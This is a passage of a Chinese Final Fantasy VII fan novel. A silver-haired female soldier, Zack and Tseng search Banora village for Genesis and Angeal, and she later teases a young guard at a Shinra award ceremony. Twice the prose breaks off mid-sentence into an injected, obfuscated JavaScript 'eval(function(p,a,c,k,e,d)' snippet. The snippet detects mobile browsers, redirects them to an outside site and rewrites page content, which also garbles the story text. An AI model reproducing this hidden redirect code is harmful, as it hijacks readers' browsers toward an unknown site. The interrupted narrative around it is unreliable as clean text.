我很好奇,在萨菲罗斯眼中,我每次出门是不是就跟送死一样。 脑子里想着等下任务结束回来怎么糊弄某个银发英雄,没注意到他们已经把任务信息交流完了。 “这次任务,他会跟你们一起去。” 我和扎克斯回头,一个扎着小辫子的西装男人走了过来。 “我是塔克斯的曾。” 那双暗色的眸子扫过我之时,男人与拉扎德对视了一眼,似乎进行了什么交流。 我跟塔克斯平时没有什么交流,只知道他们好像和我一样见不得人——好吧,还是我更见不得人一些,平常我从来都是单人出任务,还要戴特质的黑色面罩。 直升机上。 “这次任务只是调查的话,肯定是小菜一碟吧。” 扎克斯坐在我旁边,随口说着这样的话,一边好奇的打量着我脸上的面罩。 特殊的黑色皮革完全覆盖了下半张脸,外面吹进来的风有些大,导致我的头发有些凌乱的飘散,些许落在皮革和制服领口之间。 “这不好说。” 离我们有些许距离的塔克斯对扎克斯解释。 “这个任务本应该由萨菲罗斯前去执行,换句话说,重要程度非同小可。而萨菲罗斯拒绝了这次任务——” “那反正有前辈啊!” 坐在一旁的曾顿了顿,也没有反驳了,瞥了我一眼。 不是那种看着什么神奇生物的眼神,也不是那种我最习惯的,望着定时炸弹似的神情—— 我有些说不上来,但跟杰内西斯有些像。 不过现在重要的不是这个,我要被我的头发杀死了,多谢萨菲罗斯把我的头绳弄没,让我知道短发的好处。 “前辈,为什么要带面罩啊,这里只有我们哎。” 扎克斯在旁边坐着,一副难以安稳下来的模样,如果不是在直升机上,我怀疑他可能又要随地大小蹲。 “帅就够了。”我隔着皮革面罩回了一句,声音有点闷。 其实是因为我刚刚发现头发会跑进嘴里后就戴上了。 “你看,戴上之后是不是感觉我的神秘感和强大气场又提升了三个档次?一般人可驾驭不了这种风格。” 扎克斯果然很吃这一套,他眼睛亮晶晶地看着我,用力点头:“嗯嗯!超——帅的!就像那些传说故事里的神秘英雄!前辈戴什么都好看!” “那是当然,也不看看我是谁。”我隔着面罩,声音带着点得意洋洋的闷响,顺手理了理被风吹乱的几缕银发。直升机的噪音很大,轰隆隆地响个不停,机舱壁都在微微震动。 “啊对了,前辈的发绳去哪了呢?” 我总不能说被萨菲罗斯新技能劈没了吧,显得有些丢人——但是那招我真的是第一次见,所以没有反应过来。 “不想要,丢了。” “那,我可以送前辈一个吗?” 扎克斯这个提议倒是让我有点意外,我把额间的发丝别到耳后,瞥了他一眼。 我还不清楚他的品味,别送我什么大红色蝴蝶结这种。 还没等我说些什么,扎克斯就自顾自的拿出了一个黑色的小盒子,单这么看还真的有些高级。 “我一直等着送给前辈呢……。” 那蔚蓝的眸子亮晶晶的,我便从他手里拿走了那个黑色盒子。 “快打开看看嘛,前辈!”扎克斯催促着,身体因为兴奋微微前倾,差点又撞到我。 我撇撇嘴,手指随意地抠开了盒子的卡扣。 “啪嗒”一声轻响,盒盖弹开。 里面静静躺着的,是一根看起来相当结实的黑色皮革发带。没有多余的花纹,只有皮革本身细密的纹理和边缘处精致的缝线,透着一股低调的耐用感,在绳子的末尾绑着一块银色的小金属片。 不错,小弟还会上贡了。 嗯,这发带看着确实顺眼多了。皮革的质感摸起来挺舒服,不是那种廉价货色。我拿起发带,指尖捏了捏末端那块小小的银色金属片。上面好像刻着什么,但太小了,加上直升机颠簸得厉害,看不太清楚。 扎克斯正要说些什么,我就三下五除二的给自己随便扎了个标配的低马尾,转过头,他居然是一副沮丧的模样,黑发少年眼巴巴的看着我。 ? “怎么了?”我挑眉,看着扎克斯那张垮下来的脸,活像他刚买的萨菲罗斯限定手办被踩碎了,“这副表情,难道你送我的发带其实是什么诅咒道具,扎上就会倒霉三天?” 他猛地摇头,蔚蓝的眼睛里写满了懊恼和一点点委屈。 “不是的,前辈!我、我本来是想……是想亲手帮前辈扎头发的……”他的声音越说越小,最后几乎细不可闻。 莫名其妙,他脸红什么,这里很热吗? 灌进来的风都要把我制服外套吹掉了。 “哦,这样啊。”我无所谓地耸耸肩,手指勾着刚扎好的马尾晃了晃,“我这种随手一扎的发型有秘诀,扎克斯你模仿不出来的。“ 他的奇怪情绪很快就散去了,好奇的凑近。 ”有什么秘诀啊!“ 我把我的低马尾拿起来,放在他面前展示,扎克斯好奇的戳了戳。 “前辈的头发好漂亮啊……” 是吗? 就是普通的银白色吧。而且我不像萨菲罗斯那样有精力护理头发,大多时候都是乱糟糟的。 扎克斯还在研究我的头发,那双湛蓝的眼睛几乎要贴上来了。我能感觉到他温热的呼吸拂过我的后颈,让我有点不自在地偏了偏头。 “所以前辈,到底有什么秘诀啊?”他锲而不舍地追问,手指小心翼翼地触碰着发带末端那块银色金属片,“而且,前辈看到了这上面的字了吗?是我定制的呢。” “秘诀就是——” 我故意拉长了声音,隔着面罩都能想象出他那双亮闪闪、充满期待的蓝眼睛, “凭感觉随便一扎,越随意越有型,懂了吗?这是天赋,学不来的。” 扎克斯果然露出一副“原来如此,好厉害”的表情,用力点头,好像真的信了我的鬼话。 “至于这上面的字……”我松开勾着马尾的手指,反手抓住发带末端那块小小的银色金属片,凑到眼前仔细看。直升机的轰鸣声和剧烈颠簸让视线有些模糊,那金属片上的刻痕细小而精致。 “让我看看,刻了什么?‘扎克斯是笨蛋’?” “才不是!”扎克斯立刻反驳,脸颊又红了,他急忙凑过来,指着那块金属片,“前辈你再仔细看看嘛!是我……我特意去定制的!” 他的手指不小心碰到了我的手背,温热的触感一闪而过。 我瞥了他一眼,扎克斯连忙往旁边挪了一下,过了会,又悄悄坐近了回来。 这凳子上难道有针吗? 我重新聚焦视线,忍着颠簸,终于勉强辨认出那几个细小的字母。 “Z...A... For....?”我一个字母一个字母地念出来,有些疑惑,“扎克斯送给……” 没等我把我的名字念出来,就被扎克斯着急的打断了。 “前辈!”扎克斯突然拔高了音量,脸颊红得像煮熟的虾子,他猛地指向直升机舷窗外,“快看外面!那是不是巴诺拉村?我们好像快要到了!” 他的声音大到把正在查看终端的曾都吓了一跳。 神罗的直升机停泊,我和扎克斯从上面跳了下来。 映入眼帘的是一群十分奇怪的树丛,弯曲着生长,我眯了眯眼,注意到了树杈上结着的一个个紫色果实。 看起来像是有毒的苹果。 “这是白色巴诺拉树,结下的果实俗称笨苹果。” 曾向我们解释着。 巴诺拉村——安吉尔和杰内西斯的故乡,两个从小村庄一起长大的青年,不可思议的成为了神罗的1st战士。 原来他俩关系这么好,怪不得之前1st里总感觉有小团体,还有解释了为什么每次我和萨菲罗斯决定一齐霸凌杰内西斯的方案会失效(萨菲罗斯的沉默我一般视为同意)。 我们继续往前走,就发现前方突然出现了两个拿着镰刀的古怪家伙,没等我思考,扎克斯就冲了上去,拿着单手剑把他们三两下解决了。 “这些家伙,是之前在五台的人?” “果然在这村子里啊……走到这里还没发现村民,说明村子早就被占领了吧?” “杰内西斯一行人是携带着大量兵器失踪的,要求尽快将其回收,或者破坏掉。” “好的,包在我身上!” 我听着扎克斯和曾说话,一边俯下身,揭开倒下一人的面具。 是杰内西斯。 ……这就是萨菲罗斯说的复制体吗? “所以杰内西斯在这里。” 我的声音自面罩下传出,他们的视线聚焦在我身上。 “应该是的……” “那走吧。” 我拍了拍扎克斯的肩膀后,径直往里面走去,留给他们一个帅气的背影。 呵呵,杰内西斯,我要来找你算账—— “前辈,左边那边是悬崖啊!” 一路上有不少的复制体,都被扎克斯提着长剑一下解决了,他好像着急着表现自己似的,也有可能是迫切的想要找到安吉尔——总之,我们一路杀着到了一个巨大的农场前。 出现在眼前的是一个巨大的铁质机器人。 这估计就是曾刚刚所说的”兵器“吧。 黑发少年捏紧剑柄,正准备冲过去,一阵风忽地吹过他耳畔,几缕黑色的发丝飘落。 “啊……” 他回过头,就瞥见了将刀入鞘的我。 再一转头,巨蛛机器人从正中央起被切成了干净的两半,随之是剧烈的爆炸,火光之下,发尾摇曳。 黑发少年一个箭步冲到我面前,激动得有些语无伦次。 “前、前辈!你、你刚刚那招是什么?太、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479163|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太帅了!简直就是一瞬间!‘唰’地一下,然后‘轰’!那个机器人就完蛋了!连反应的时间都没有!前辈你教教我好不好?是不是什么独门秘技?需要什么特殊条件才能学吗?比如说对着瀑布冥想一百天之类的?” 幸好我戴着口罩,遮住了我压不住的嘴角。 我的招式没有什么名字,刚刚那个就叫“平斩”,意思就是横着划一刀。 不像某个萨菲罗斯,又什么“残心”,什么“动地”,什么“一阵”,什么“八刀一闪”……虽然我怀疑他的招式名都是后援会给他的,但是这不妨碍我在心里谴责他的装帅。 伸出手敲了敲某个过于激动的扎克斯,我走到旁边一个被刀气波及的人形旁,摘下面具——果然。 “又是杰内西斯复制体。” 话音落下的时候,曾向我投以了视线。 “你怎么知道这个说法?” 我耸了耸肩。 “萨菲罗斯说的。复制技术不是神罗的核心技术之一吗?” 说实话,我很好奇,既然神罗有这种厉害的技术,为什么不复制一些工具人建设米德加呢? 曾接下来的话就给了我答案。 “这似乎是能够复制杰内西斯能力和特征的技术,能复制的仅限神罗战士……还有怪物。” 怪物? 这不是我的绰号吗? 我眨了眨眼,随后举起手发问。 “那可以复制我吗?” 要是可以的话我是不是可以摸鱼了? 曾咳了咳,他继续往前走。 “大概是不行的。作为战士的你是……十分特殊的。“ 哦了一声后,我抓着尝试也挥出刀气的扎克斯,跟在曾的身后继续往前。 穿过被破坏的农场区域,前方终于出现了一些房屋的轮廓。 这就是巴诺拉村了吧?看起来比我想象的要…普通。 几排木质结构的房屋整齐排列,屋顶铺着瓦片,有些房屋的墙壁上还爬着枯萎的藤蔓。空气中弥漫着一股淡淡的、混合着果香和尘土的味道。 然而,这份普通之下却透着诡异的死寂。村庄里空无一人,看不到炊烟,听不到人语,连鸡鸣狗吠都没有。只有风吹过空旷街道时发出的呜咽声,卷起地上的落叶和纸屑。许多房屋的门窗都敞开着,里面黑洞洞的,像是被遗弃了很久。 ”这里是杰内西斯的老家,父母则是这一带的地主。“ 差不多介绍了一下,曾就给他安排任务了。 ”扎克斯,你去对面村落的安吉尔家看一下。我去调查一下那边的坟墓。“ 接着,西装男人的眼睛落在了我身上,我扯了扯自己脸上的面罩,声音有点闷。 ”不能有外人发现我的面容,所以我在外面呆着。“ 这当然是借口,因为调查信息向来不是我的强项——而且我现在对那颗树上的苹果起了兴趣。 于是大家开始分头行动。 扎克斯进了一家宅子的门,曾大概去挖坟了,我等他们走远后,轻盈的一下跳到树干上去摘苹果。 笨苹果。 踩在树干上,我摘下面罩,拿起一颗随意的咬了一口。 牙齿切开果皮,发出极轻微的脆响。汁水不多,果肉的口感有些绵软,带着一股清新的甜味,这样的外表,我以为会是那种腐烂的口味呢。 可以带回宿舍给萨菲罗斯也尝尝。 他一般除了我带的零食(有些时候是抢我的),吃的就是食堂的营养餐,这样比较纯天然的水果应该没吃过吧。 而且还是杰内西斯家乡的特产呢。 又摘了几颗放在口袋里,我从树上一跃而下,就瞥见了调查完成的曾,他大概是跟扎克斯沟通了些什么,刚放下手机。 ”村外有间工厂,可能是他们的据点,我们先去工厂上方的悬崖集合。“ 我哦了一声,就拿出一颗果子递给曾,他好像愣住了,与我四目相对。 为什么要这样看我,难道怪我摸鱼吗? 但是我如果真的打嗨了,可能会把整个村子掀了。 他沉默了几秒,伸手接过那颗笨苹果,手套几乎没有碰到我的手。 “多谢。”他的声音依旧是塔克斯特有的平稳腔调,听不出太多情绪,只是将苹果掂了掂,收进了西装内侧的口袋里,并没有立刻品尝,“这东西……巴诺拉的特产,我有所耳闻。据说有独特的风味,不过现在不是品尝的时候。我们得尽快行动。” 我跟着曾一齐到了工厂的悬崖上,不一会,扎克斯也到了,身着西装的塔克斯开始介绍情况。 “坟墓是杰内西斯父母的。” 扎克斯的眼睛瞪大了,似乎不可置信。 “难道他对自己父母下手?!” “看来是个不可理喻的对手,安吉尔那边怎么样?” 我没有父母,但是看到大家的表情都有些奇怪,于是也绷着脸保持沉默。 “他不在家,但是他的母亲在……可是拜托你,请给我点时间。如果找到安吉尔,我会说服他,只要安吉尔能改变主意,杰内西斯也有可能返回神罗!” 扎克斯握紧拳头,对曾解释着,蔚蓝的眸子里满是坚持。 没等塔克斯开口,坐在一旁的我语气平静。 “如果说服不了的话,就把他们全部打一顿带回来吧。” 曾望着我和扎克斯,忽地低头思考了会,随后叹了口气。 “我知道拉扎德和萨菲罗斯指名让你们两个执行这个任务的原因了。” 什么原因,难道不是我打爆萨菲罗斯,在拉扎德面前耍无赖拿到的任务吗? 21. 第19章 工厂内大多都是零零散散的复制体,扎克斯提着单手剑在前面一路砍,我在后面吃着笨苹果,不亦乐乎。 因为看起来这个村里没有活人了,所以我也不再戴口罩,随意的擦去嘴角的汁水后,招呼了下从前面清场回来的扎克斯。 “干的不错,等下我去摘点给你吃。什么……剩下的不是给你的,是给萨菲罗斯的。” 曾看着一路上掉落的果核,轻轻叹气,他带我们来到了一个工厂的隔间内,其中还有一个仍然亮起的主机老式电脑,凭借塔克斯的专业,他居然把这个不知道几十年前的老东西成功启动了。 “看来是在这里建造复制体啊……” 接着曾又好似喃喃自语着说了什么专业术语,瞥见我和扎克斯两个茫然的模样,他指了指天花板。 “上2楼,杰内西斯说不定在那。” 真的会在吗?杰内西斯不会就像那种等待玩家触发游戏cg的boss一样等着我们过去吧?明明我们在下面弄出的动静这么大。 “二楼是吧?走吧。” 我对那个方向扬了扬下巴,一副迫不及待要去逮人的样子。 主要是杰内西斯欠我太多解释了,再不去问清楚,我怕自己把这些笨苹果全吃光,到时候就没土特产给萨菲罗斯了。 “‘深渊之谜,实乃女神赠礼。我等向往,乘风而起。''” 一进二楼的走廊,我就听见了这熟悉的不得了的念诗声。 红发的男人捏着那本精装的诗歌,半坐在靠窗的位置,几个月不见,仿佛他身上的深红色皮衣都有些许褪色。 “‘于迷惘悸动此心中,激荡些许涟漪’” 扎克斯显得比我激动的多,一下就冲了过去。 哗啦哗啦的脚步声终于舍得让杰内西斯从《loveless》上移开视线了。 “这么吵闹啊,小狗扎克斯。” 曾紧随其后,他的目光转移到一旁的培养仓上。 “那座家中的坟墓里……也埋藏着我司的调查人员。” 杰内西斯不慌不忙的将书籍放回大衣内侧的口袋,语气平平。 “多少威胁一下他们,就忙不迭把假报告发回去了,真是群废物。” 扎克斯往前一步。 “就是不威胁他们也会照做,至少你的父母会。” 不知道这句话的哪部分触发了杰内西斯的敏感神经,他猛地抬起头,随后站起。 “从我去到那个家那一刻开始,他们就一直背叛我。你们这帮神罗的走狗——” 火球凝聚的一瞬,杰内西斯望见了一片银白色的发丝。 银发的特种兵不知在哪隐藏了许久,以他如今已然看不真切的速度猛地出现,单手将他的手腕死死攥住后,抬起大腿给了红发男人一个狠狠的上踢。 "呃…" 怎么会是她? 她不应该在神罗内…… 抬起头,他和那莹绿的竖瞳对上了视线,腹部的疼痛和惊讶让那双眸子此刻显得有些恍然。 "杰内西斯……" 她的话还没说完,一刀剑光忽地闪过,女人松开了手,出现在杰内西斯身旁的是握着长剑的安吉尔。 "安吉尔!" 扎克斯瞪大了眼睛。 杰内西斯捂着被踢中的腹部,咳嗽了几声,看向突然出现的安吉尔,眼中先是闪过一丝惊讶,随即又被一种混合着郁闷和烦躁的情绪取代。 他很明白,安吉尔此刻出现在这里,大概是为了保护扎克斯,或者说是发现吉莉安死亡后,选择茫然地跟随他…… 结果她来了。 那问题就变得很简单了。 这个执着到可怕的定时炸弹…… 我正准备直接用口袋里的昏睡魔晶石直接把杰内西斯打包带走,安吉尔居然径直扯起红发男人,他几乎是拖着杰内西斯,像一阵风似的冲出了二楼的房间,红发男人的脚步踉跄,显然还没从我刚才那记毫不留情的上踢中完全缓过劲来。 什么?居然直接跑吗? “前辈,我们——”扎克斯刚开口,声音里还带着对安吉尔突然出现的震惊和不解。 我没时间听他抒发感慨,反手抓住他的胳膊,力道之大让这个壮实的黑发少年都趔趄了一下。 “追!” 一个字干净利落,我拽着他,如同离弦之箭般冲了出去,速度快得只在原地留下残影。 冲到工厂大门,有好几只变异的怪物跳了出来,没等扎克斯拔出背后的长剑,一道刀光闪过,带起风声。 尸首分离。 “!!” 粘稠的、泛着诡异绿光的血液喷溅在工厂冰冷的铁门上,伴随着沉闷的落地声。那几只企图阻拦去路的变异怪物,连完整的嘶吼都未能发出,就在我出刀的瞬间被干净利落地斩断。 物干竿归鞘的轻响在空旷的工厂门口回荡,我甚至没回头看那些滚落在地的肢体。 正准备继续抓着扎克斯冲刺,他口袋里的手机响了,急忙接起,通话来自在我们身后远处的曾。 “来不及了,现在应该撤离。” “不去找他们两个吗?!” “为了抹除所有的痕迹,神罗已经决定要对这座村庄进行空中轰炸了。” ?? 我的声音平缓。 "我一分钟内就能把他们抓到,一分钟总有的吧,只要——" "等等前辈,安吉尔的母亲还在家里……" 扎克斯忽然想起了什么,他咬了咬唇,紧张的看着我。 "……" 我的动作停滞了一瞬,低头看向被我拽着胳膊的扎克斯。他那张总是阳光灿烂的脸上此刻写满了焦急和恳求,蔚蓝的眼睛紧紧盯着我,好像我是他最后的救命稻草。 "走吧,你给我指路。" “好哎!往右边……” 没等曾再说些什么,我就抓着扎克斯一路往外冲去了。 风声在我耳边呼啸,被我拽着的扎克斯几乎是脚不沾地地被拖行,但他依旧努力地辨认着方向,在狂奔中大声给我指路。 “左边!前辈!穿过那个果园就是了!快点,应该就是前面那栋褐色的房子!”他喊得声嘶力竭,脸上满是汗水和焦急,蓝色的眼睛死死盯着前方。 “知道了。”我应了一声,速度丝毫未减。 空旷的村庄在我们身后飞速倒退,那些死寂的房屋如同墓碑般林立。脚下的石板路在高速奔跑下几乎化为一条模糊的灰线。口袋里的笨苹果随着我的动作互相碰撞,发出轻微的“咕噜”声。 一脚踹开大门,映入眼帘的是倒在地上的妇女,一眼我就足以认出她已经失去了生机。 她的眼睛紧闭着,身体已经僵硬,显然离世已有一段时间。地板上没有明显的打斗痕迹,也没有血迹,看起来走得很安详,却又透着一股不合时宜的平静。 服毒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479164|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自杀? “安吉尔……妈妈……”扎克斯的声音干涩沙哑,带着难以置信的颤抖。 他往前踉跄了几步,想要靠近,却又像是被无形的墙壁挡住,停在了离妇人几步远的地方。他茫然地环顾四周,屋子陈设简单而整洁,桌上甚至还摆放着一束有些枯萎的野花。 “怎么会……为什么……” “扎克斯,先走吧。等我们抓到安吉尔和杰内西斯再问发生了什么。” 于是我拽着茫然悲伤的扎克斯一路继续往外冲,来到悬崖上。 就看见了扑哧着黑色翅膀飞走的杰内西斯。 ????? 直升机上,我把玩着手里的笨苹果,对一切有些难以理解。 所以我来这里做了些什么? 杰内西斯没抓到(但是踢了他一脚),安吉尔好像确认叛逃了,红毛还莫名奇妙长了翅膀,村子炸了,安吉尔的妈妈莫名其妙自杀了。 一旁的扎克斯也是那种茫然悲痛的表情。 从公众的角度上来说,我大概是那种没有什么良心的人。 这里的人死了,我也没感觉内心有一点波澜。 但扎克斯看起来很难过,可能是因为安吉尔的叛逃,还有那位老妇人的死亡。 算了,毕竟是我小弟。 我伸出手,动作算不上轻柔,直接覆盖在他放在膝盖上、握得死紧的手背上。他的手温热,带着些微的汗湿。扎克斯身体明显僵了一下,猛地抬起头,那双沮丧的眼睛对上我的,里面充满了错愕和一丝茫然。 “下次再把他们抓回来就好了。” “啊……” 我另一只手敲了敲他的脑袋。 “听过星命学吗?” “前辈,这是什么?” 我伸出手,将一颗笨苹果放在他的手心,扎克斯顺势接过,他的手指收紧,不仅握住了那颗笨苹果,也更用力地回握住了我覆在他手背上的手。温暖的触感从交握处传来,带着微弱的颤抖。 “人死之后,会回归星球,变成生命之流的一部分……总而言之,大家最后都会再相见的啦。” “星命学……回归星球……”他喃喃地重复着,“真的……会再见到吗?安吉尔的妈妈……还有安吉尔他……” “当然会了。”我肯定地点头,顺手又拿起一颗苹果,“咔嚓”咬了一大口,含糊不清地说,“虽然具体怎么见就不清楚了,可能变成一阵风,或者一滴雨什么的?不过反正都在一个星球上,怎么都能遇到的。你担心安吉尔和杰内西斯?他莫名其妙有了翅膀,飞得快,下次我们开个更快的飞机去抓他们。” “好!” 眼看扎克斯又恢复了活力,我就十分自然的准备抽回手,他却还无意识的握着,甚至又要给我一个拥抱,我咳了咳,指着他手里的苹果,转移话题。 “吃吧,等我们回去也给萨菲罗斯尝尝。” 其实星命学的概念是我从小说上看到的,一般都会被主角当作大规模杀人的借口,所以有“星命学警告”的书大多都是16+。 但这样的事情还是不要跟扎克斯说比较好。 【白色巴诺拉果汁】 【荣获全国农作物竞选加工品部门最优秀奖】 【发明这种产品的人,是来自巴诺拉村的少年杰内西斯】 【接受采访的少年如是说:“我的梦想是和父母一起,请英雄萨菲罗斯尝尝我们的苹果。”】 22. 第20章 2001年2月,五台战争结束。 神罗的表彰大会开启了。 在其上的总裁先是说了一大堆什么"缅怀那些为人类进步付出生命的士兵""这次战线虽然拉长了近10年,但我们收获颇丰"之类的。 他的演讲大概持续了30分钟,就下台回到最前方的座位上了,下一个上去的是拉扎德。 我都快要睡着了。 再过了一个小时,到了授勋环节,一身军装的萨菲罗斯出场的刹那,无数闪光灯就打了上来,他保持着平静的神情。 神罗英雄征战九年,归来仍是二十三。 我有必要说一句,个人感觉五台战争的mvp应该是我,因为我杀的人最多。 但此刻我是半坐在阴暗的小角落里,戴着面罩,以一个流浪汉似的姿势在出口的墙边蹲着。本来我也不想参加,奈何拉扎德说未出任务的神罗战士必须全部到场,我都有些羡慕外出的扎克斯了。 以往这种大会都有杰内西斯跟我一起摸鱼,现在……算了。 在其上的银发男人往我的位置扫视了一眼,笔挺的军装衬得他身材修长,当拉扎德将勋章别在他胸前之时,他也没有移开视线。 萨菲罗斯真是脾气好,那些闪光灯几近是要怼着他的脸了——如果是我,我会把这些记者全部串成一串挂在神罗大厦上,应该能有效提升米德加的空气质量。 拉扎德开始念那又臭又长的授勋词,我感觉自己的屁股都要和冰冷的大理石地面融为一体,因为过于无聊,我开始给自己找事做。 看大门的除了我(我不大想承认我是看大门的)还有一个带着头盔的小兵,他此刻好像有些紧张,不知是不是因为萨菲罗斯的视线落在这里了。 我觉得萨菲罗斯要是明事理的话就不应该看我,毕竟我不大见的了人——要是让大家知道神罗的英雄还有个杀人魔妹妹,我估计会被扣掉一大半的任务报酬。 "喂……你吃苹果吗?笨苹果,巴诺拉产的,现在已经绝版了。" 我戳了戳旁边那个戴着头盔、站得笔直如同标枪的小兵。他的身体几不可查地颤抖了一下,头盔下的视线迅速朝我这边扫来,充满了惊慌和不解。 隔着头盔的面罩,我看不清他的具体长相,只能隐约看到一些金色的发丝从头盔边缘露出来,年纪应该不大。 他好像完全没料到会有人在这种场合跟他搭话,尤其是我这种一看就不是什么正经参会人员、还戴着面罩蹲在角落的怪人。 对方握着步枪的手紧了紧,身体绷得更直了,似乎在极力维持着士兵的仪态,但那微微晃动的枪口还是暴露了他的紧张。 “呃……” 他的声音透过头盔显得有些失真,带着少年人特有的清亮,但更多的是一种小心翼翼的询问。 “您、您在叫我吗?” 对方似乎认出了我这身不属于普通士兵的黑色制服,或者是在某个训练场见过我? 不过我没有印象了,神罗的小兵都长一个样。 那声带着颤音的询问让我有点想笑。 “不然呢?” 我晃了晃手里的笨苹果,紫色的果皮在会场昏暗的光线下泛着奇异的光泽,“这里还有别人吗?还是说你旁边坐着个隐形人?” “谢…谢谢您…长官?但…但是我现在在执勤…按照规定,我不能…不能接受食物的…而且,长官您…” 他顿了顿,好像不知道该怎么称呼我,或者说不敢问,“您为什么会在这里…还戴着面罩呢?”这个问题显得小心翼翼,充满了不确定,但又带着一丝无法掩饰的好奇。 我啊了一声,收回手里的苹果。 其实我是想把这个有些烂了的卖出去,可惜他不能吃。 “长官?”我重复了一遍这个称呼,忍不住轻笑出声,声音在面罩下显得有些模糊。 “不吃就不吃吧。至于我为什么戴面罩…因为我长得太帅了,怕引起骚动,影响大会秩序。” "……" 头盔下的小兵彻底卡壳了,他陷入沉默,大概是试图处理我这句过于离谱的解释。 过了好几秒,他才像是重新找回了自己的声音,但依旧磕磕绊绊,带着一种难以置信的语气:“啊…这…这…样吗?长、长官您…真是…真是风趣。” 他努力想挤出一个符合礼仪的回应,但听起来更像是在确认自己没听错。 呵呵,质疑我? 我挑了挑眉,指着台上的萨菲罗斯,此刻萨菲罗斯已经结束了他的部分,重新站在一旁,如同完美的雕塑,但那双魔晄眼瞳却时不时地,精准地扫向我这个阴暗的角落。 ”看到了吗?那个是萨菲罗斯,我比萨菲罗斯还帅,他本人认证的。“ 那小兵头盔下的脑袋似乎狠狠地卡顿了一下,握着步枪的手指关节都有些发白。 他的视线像是被无形的线牵引着,猛地投向灯光璀璨的讲台,在萨菲罗斯那张完美得无可挑剔的脸上停顿了几秒,又触电般地弹回我脸上,充满了难以置信。 “长、长官…您…您真会开玩笑…萨菲罗斯将军,他是…他是神罗的骄傲…是最强的战士…也是…” 他似乎想继续罗列萨菲罗斯的优点,但说到一半又卡住了,大概是觉得在我这个自称“比萨菲罗斯还帅”的人面前这么做有点不合时宜。最后,他只是含糊地补充了一句:“…非常…令人尊敬。” “尊敬?那是当然的。”我漫不经心地用手指敲了敲冰凉的大理石地面,发出轻微的哒哒声,打破了小兵好不容易营造出来的严肃气氛。 “你想看看我长什么样吗?嗯?” 我的问题像一颗投入平静湖面的石子,让旁边那个小兵紧绷的身体又是一僵。 头盔稍微动了动,似乎是想别开视线,但最终还是忍不住,透过头盔偷偷瞄向我,动作幅度小得几乎看不出来。 过了会,他终于开口了,声音比刚才还要细微,带着显而易见的犹豫和一丝压抑不住的好奇:“长、长官…这…这不好吧?现在是表彰大会…而且…您的身份…” 我的身份? “我是萨菲罗斯的姐姐,你不信的话,看我的眼睛。我们是同款呢。” “姐、姐姐?” 我忽然捏住面前这个小兵的胳膊,把他拉到与我一样的高度。他的身高我很满意,比我还矮一些——十分顺眼。 小兵重心不稳,差点一头栽倒在地上,步枪“哐当”一声轻撞在地面,又被他手忙脚乱地扶稳,我拉了他一把,让他和我一齐坐在大门的台阶前。 “看到了吗?” 会场远处的灯光偶尔扫过这个角落,短暂地照亮我裸露在外的上半张脸。那莹绿色的光泽,与此刻正站在灯光下、接受万众瞩目的萨菲罗斯眼中的光芒如出一辙,如同两颗遥相呼应的星辰,散发着非人的、冰冷而迷人的魔晄气息。 他头盔下的呼吸猛地一滞,身体僵硬得如同被瞬间冰冻。透过头盔的缝隙,我能看到他那双蓝色的眼睛因为震惊而睁大,倒映着我眼中莹绿色的微光。步枪在他手中微微颤抖,似乎随时都会脱手掉落。 没等他开口,我打了个响指,先是瞥了眼台上喋喋不休的拉扎德,然后转过头,敲了下他的头盔。 “到你了。你摘头盔,快点。” 我的手指在他那制式头盔上敲击的清脆声响,在相对安静的角落里显得格外清晰。那小兵被我这突如其来的命令弄得更显慌乱,整个人像是被钉在了台阶上,动弹不得。 他头盔下的蓝色眼睛眨了又眨,视线慌乱地在我的脸上、远处的讲台以及周围可能存在的监控探头上跳跃。 “长官,这是规定,执勤的士兵不可以摘下头盔——” “你总是规定规定的,胆子这么小吗?这点胆子,还想当神罗战士?” 我猜测大概每一个崇拜萨菲罗斯的年轻人都想要当神罗战士吧,然后怀揣着梦想被骗来压榨企业神罗打黑工。 “……” 果然猜对了。 头盔下的少年猛地抬起头,握着步枪的手因为用力而指节泛白,连带着枪身都轻微晃动起来。那双透过头盔缝隙看过来的蓝色眼睛里,瞬间充满了被戳中痛处的窘迫和一丝不服气。 他张了张嘴,似乎想反驳,但又不知道该说什么。那种想要证明自己却又被规章制度束缚的挣扎,几乎要从他僵硬的姿态里溢出来。 过了好一会儿,他才用一种混合着委屈和急切的语气辩解道:“我、我不是胆子小!长官!成为特种兵是我的梦想!我一直很努力地在训练!遵守规定是士兵的职责,这、这和胆量没有关系!而且…而且…” 他的声音越来越低,最后几个字几乎轻不可闻,带着浓浓的不甘心。 “哦?”我拖长了调子,身体微微前倾,饶有兴致地打量着他这副激动又手足无措的样子。 “梦想?努力?听起来不错嘛。不过光说不练可不行。连头盔都不敢摘,怎么证明你的决心?难道你的梦想就是一辈子戴着这个铁罐头站岗,看着别人拿勋章?” 我故意顿了顿,用手指点了点他那锃亮的头盔,发出“咚咚”两声。 “还是说,你其实长得特别丑,怕摘下来吓到我?放心,我见过的丑东西多了去了,不差你一个。” 宝条实验室里的生物多样性我小时候就见了个遍。 这番话显然再次刺激到了他。 少年猛地挺直了背,声音也拔高了几度,带着被激怒的少年意气:“我才不丑!长官!我只是…只是不想违反规定!而且…而且萨菲罗斯将军他…他也不会希望看到士兵不遵守纪律!” 他搬出了自己的偶像,试图为自己的犹豫找到坚实的理由,但语气里的底气明显不足。 